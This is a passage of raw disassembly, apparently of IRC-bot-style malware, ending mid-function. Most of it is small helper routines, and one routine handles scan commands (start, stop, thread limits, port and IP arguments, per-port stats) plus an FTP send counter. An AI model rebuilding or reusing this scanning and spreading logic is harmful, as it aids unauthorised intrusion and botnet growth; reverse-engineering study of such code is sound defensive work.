sub_420860 proc near ; CODE XREF: sub_401186j
mov eax, ecx
retn
sub_420860 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420880 proc near ; CODE XREF: sub_401C4Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401816
mov eax, esi
pop esi
retn 4
sub_420880 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208B0 proc near ; CODE XREF: sub_401C21j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4208B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208E0 proc near ; CODE XREF: sub_401D0Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401947
add esp, 8
retn 8
sub_4208E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420910 proc near ; CODE XREF: sub_401938j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401F41
mov ecx, eax
call sub_4010B4
mov esi, eax
push esi
call sub_401EE2
push esi
mov ebx, eax
call sub_401BD1
mov ecx, [eax]
push ecx
call sub_401EE2
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401BD1
push esi
mov ebx, eax
call sub_401EE2
mov eax, [eax]
push eax
call sub_401BD1
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010DC
add esp, 1Ch
mov ecx, edi
push eax
call sub_4015AF
push esi
mov ecx, edi
call sub_401870
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_420910 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4209D0 proc near ; CODE XREF: sub_401BD1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4209D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4209F0 proc near ; CODE XREF: sub_401CC6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_4209F0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420A20 proc near ; CODE XREF: sub_4014DDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_420A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420A40 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401EBA
add esp, 8
retn 8
sub_420A40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420A70 proc near ; CODE XREF: sub_4014B5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_420A70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420A90 proc near ; CODE XREF: sub_4010B4j
mov eax, [ecx]
retn
sub_420A90 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420AB0 proc near ; CODE XREF: sub_401F41j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401078
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_420AB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420AE0 proc near ; CODE XREF: sub_401A87j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4018CF
mov ecx, eax
call sub_401811
mov esi, eax
push esi
call sub_4010F5
push esi
mov ebx, eax
call sub_4010D2
mov ecx, [eax]
push ecx
call sub_4010F5
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010D2
push esi
mov ebx, eax
call sub_4010F5
mov eax, [eax]
push eax
call sub_4010D2
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401087
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D25
push esi
mov ecx, edi
call sub_402022
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_420AE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420BA0 proc near ; CODE XREF: sub_4010D2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_420BA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420BC0 proc near ; CODE XREF: sub_401F46j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_420BC0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420BF0 proc near ; CODE XREF: sub_40180Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_420BF0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420C10 proc near ; CODE XREF: sub_401389j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401D98
add esp, 8
retn 8
sub_420C10 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420C40 proc near ; CODE XREF: sub_401816j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_420C40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420C60 proc near ; CODE XREF: sub_401811j
mov eax, [ecx]
retn
sub_420C60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420C80 proc near ; CODE XREF: sub_4018CFj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401771
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_420C80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CB0 proc near ; CODE XREF: sub_4015AFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401997
pop ecx
retn 4
sub_420CB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CD0 proc near ; CODE XREF: sub_401D25j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E47
pop ecx
retn 4
sub_420CD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CF0 proc near ; CODE XREF: sub_401947j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_420D0B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_420D0B: ; CODE XREF: sub_420CF0+11j
retn
sub_420CF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420D20 proc near ; CODE XREF: sub_401EBAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_420D20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011A4
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_420D61
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4015EB
loc_420D61: ; CODE XREF: sub_420D20+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_420D20 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420DB0 proc near ; CODE XREF: sub_401D98j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_420DB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011A4
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_420DF1
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_40146F
loc_420DF1: ; CODE XREF: sub_420DB0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_420DB0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E20 proc near ; CODE XREF: sub_401997j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4018E3
retn
sub_420E20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E40 proc near ; CODE XREF: sub_401E47j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_420E40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E60 proc near ; CODE XREF: sub_4015EBj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_40146F
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_420E60 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E90 proc near ; CODE XREF: sub_4018E3j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40198D
test [esp+4+arg_0], 1
jz short loc_420EA8
push esi
call sub_430332
add esp, 4
loc_420EA8: ; CODE XREF: sub_420E90+Dj
mov eax, esi
pop esi
retn 4
sub_420E90 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420EC0 proc near ; CODE XREF: sub_401A00j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_420EC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov ds:dword_488623, offset aSym ; "sym"
call sub_4018DE
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_401726
lea ecx, [esi+46808h]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+68h+var_3C]
push 1
push edx
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_401726
push eax
lea eax, [esi+46836h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 16h
push 4
lea ecx, [esp+64h+var_3C]
push 1
push ecx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_401726
lea edx, [esi+46864h]
push eax
push edx
mov ecx, offset dword_43FFB0
call sub_401523
mov [esp+44h+var_4], edi
lea ecx, [esp+44h+var_3C]
call sub_4011F9
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+68h+var_3C]
push 1
push eax
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_401726
lea ecx, [esi+46892h]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+68h+var_3C]
push 6
push edx
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_401726
push eax
lea eax, [esi+468C0h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 18h
push 9
push 6
push 4Fh
push 16h
push 4
push 1
lea ecx, [esp+64h+var_24]
push 4Fh
push ecx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 5
call sub_401726
add esi, 468EEh
push eax
push esi
mov ecx, offset dword_43FFB0
call sub_401523
mov [esp+44h+var_4], edi
lea ecx, [esp+44h+var_24]
call sub_4011F9
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_420EC0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421170 proc near ; CODE XREF: sub_40133Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_421170
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+46808h]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_42123A
push 3
call sub_40142E
add esp, 4
test eax, eax
jle short loc_42120D
push 3
call sub_401C67
mov eax, ds:dword_4AFD40[eax*8]
add esp, 4
push eax
call ds:dword_4B3CA0
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 18h
mov al, 1
jmp loc_42156B
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_421170+52j
lea ecx, [esi+2Ah]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_48873B
call sub_4010FF
mov al, 1
jmp loc_42156B
; ---------------------------------------------------------------------------
loc_42123A: ; CODE XREF: sub_421170+40j
lea ecx, [ebp+468C0h]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_4212E0
mov edi, ds:dword_488A36
push offset dword_43B600
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_401726
push eax
call ds:dword_4B3AEC
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_4011F9
cmp edi, ebx
jl loc_4218F2
mov edx, ds:dword_4404E7
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_48873B
call sub_40178F
add esp, 1Ch
mov al, 1
jmp loc_42156B
; ---------------------------------------------------------------------------
loc_4212E0: ; CODE XREF: sub_421170+DFj
lea ecx, [ebp+46864h]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_421360
push eax
push 3
call sub_401C6C
add esp, 8
test eax, eax
jle short loc_421335
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_48873B
call sub_40178F
add esp, 18h
jmp loc_421569
; ---------------------------------------------------------------------------
loc_421335: ; CODE XREF: sub_421170+194j
lea ecx, [esi+2Ah]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_48873B
call sub_4010FF
jmp loc_421569
; ---------------------------------------------------------------------------
loc_421360: ; CODE XREF: sub_421170+185j
lea ecx, [ebp+46836h]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
mov edi, ds:dword_4B3AEC
test eax, eax
jnz loc_42140E
push 3
call sub_40142E
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset dword_43B600
push 2
push eax
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_401726
push eax
call edi
add eax, ebx
add esp, 4
cmp eax, 0C8h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_421586
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_48873B
call sub_40178F
add esp, 18h
loc_42140E: ; CODE XREF: sub_421170+20Bj
lea ecx, [ebp+46892h]
call sub_401479
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_421569
push offset dword_43B600
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_401726
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_4011F9
mov eax, ds:dword_43C328
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_421499
mov eax, offset dword_43C328
loc_421485: ; CODE XREF: sub_421170+327j
cmp [eax+8], edi
jb short loc_42148F
mov [esp+7A0h+var_78D], 1
loc_42148F: ; CODE XREF: sub_421170+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_421485
loc_421499: ; CODE XREF: sub_421170+30Ej
mov ebp, ds:dword_4B3C18
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp
mov eax, ds:dword_43C328
add esp, 8
test eax, eax
jz short loc_4214FF
mov edi, offset dword_43C330
loc_4214BF: ; CODE XREF: sub_421170+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
call ds:dword_4B3AB4
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_4214BF
loc_4214FF: ; CODE XREF: sub_421170+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
call ds:dword_4B3AB4
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_421559
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_401479
push eax
push 0
call sub_4014BF
add esp, 10h
loc_421559: ; CODE XREF: sub_421170+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010BE
add esp, 4
loc_421569: ; CODE XREF: sub_421170+1C0j
; sub_421170+1EBj ...
xor al, al
loc_42156B: ; CODE XREF: sub_421170+98j
; sub_421170+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_421586: ; CODE XREF: sub_421170+26Ej
push offset dword_43B600
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_401726
push eax
call edi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_4011F9
push offset dword_43B600
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 3
call sub_401726
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_4011F9
push offset dword_43B600
lea edx, [esp+7A4h+var_788]
push 3
push edx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_401726
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_4011F9
mov eax, [esp+7A0h+var_658]
cmp eax, 1
jnb short loc_421668
mov [esp+7A0h+var_658], 1
jmp short loc_421678
; ---------------------------------------------------------------------------
loc_421668: ; CODE XREF: sub_421170+4E9j
cmp eax, 3Ch
jbe short loc_421678
mov [esp+7A0h+var_658], 3Ch
loc_421678: ; CODE XREF: sub_421170+4F6j
; sub_421170+4FBj
push offset dword_43B600
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_401726
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_4011F9
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_4216D1
mov [esp+7A0h+var_654], eax
loc_4216D1: ; CODE XREF: sub_421170+558j
mov eax, ds:dword_43C328
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_4217A1
mov ebp, offset dword_43C328
jmp short loc_4216F7
; ---------------------------------------------------------------------------
loc_4216F4: ; CODE XREF: sub_421170+607j
or ebx, 0FFFFFFFFh
loc_4216F7: ; CODE XREF: sub_421170+582j
push offset dword_43B600
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_401726
mov edi, eax
lea ecx, [ebp-28h]
loc_421721: ; CODE XREF: sub_421170+5CFj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_421745
test al, al
jz short loc_421741
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_421745
add ecx, 2
add edi, 2
test al, al
jnz short loc_421721
loc_421741: ; CODE XREF: sub_421170+5BBj
xor eax, eax
jmp short loc_421749
; ---------------------------------------------------------------------------
loc_421745: ; CODE XREF: sub_421170+5B7j
; sub_421170+5C5j
sbb eax, eax
sbb eax, ebx
loc_421749: ; CODE XREF: sub_421170+5D3j
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_4011F9
test bl, bl
jnz short loc_42177F
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_4216F4
jmp short loc_42179E
; ---------------------------------------------------------------------------
loc_42177F: ; CODE XREF: sub_421170+5F4j
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, ds:dword_43C328[eax*4]
mov [esp+7A0h+var_65C], edx
loc_42179E: ; CODE XREF: sub_421170+60Dj
or ebx, 0FFFFFFFFh
loc_4217A1: ; CODE XREF: sub_421170+577j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_4217BF
lea ecx, [esi+2Ah]
call sub_401479
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4218DA
; ---------------------------------------------------------------------------
loc_4217BF: ; CODE XREF: sub_421170+63Aj
push offset dword_43B600
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_401622
push offset dword_43B7F8
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_40138E
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_4011F9
test edi, edi
jz loc_42189C
push offset dword_43B600
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_401726
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
call ds:dword_4B3AA8
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_4011F9
push offset dword_43B600
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_401622
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_401726
push eax
call ds:dword_4B3AC4
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_4011F9
jmp loc_4219CB
; ---------------------------------------------------------------------------
loc_42189C: ; CODE XREF: sub_421170+68Dj
push offset aR ; " -r"
mov ecx, esi
call sub_40138E
test eax, eax
jnz short loc_4218F9
push offset aA ; " -a"
mov ecx, esi
call sub_40138E
test eax, eax
jnz short loc_4218F9
push offset aB ; " -b"
mov ecx, esi
call sub_40138E
test eax, eax
jnz short loc_4218F9
lea ecx, [esi+2Ah]
call sub_401479
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4218DA: ; CODE XREF: sub_421170+64Aj
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_48873B
call sub_4010FF
loc_4218F2: ; CODE XREF: sub_421170+132j
mov al, 1
jmp loc_42156B
; ---------------------------------------------------------------------------
loc_4218F9: ; CODE XREF: sub_421170+73Aj
; sub_421170+74Aj ...
mov ecx, ds:dword_488753
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
call ds:dword_4B3CB8
push offset aA ; " -a"
mov ecx, esi
call sub_40138E
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
call ds:dword_4B3CA0
push eax
lea eax, [esp+7A8h+var_770]
push eax
call ds:dword_4B3AE0
add esp, 0Ch
mov ecx, esi
push offset aR ; " -r"
call sub_40138E
test eax, eax
jz short loc_4219C0
push offset aA ; " -a"
mov ecx, esi
call sub_40138E
mov ebp, ds:dword_4B3A74
mov edi, eax
neg edi
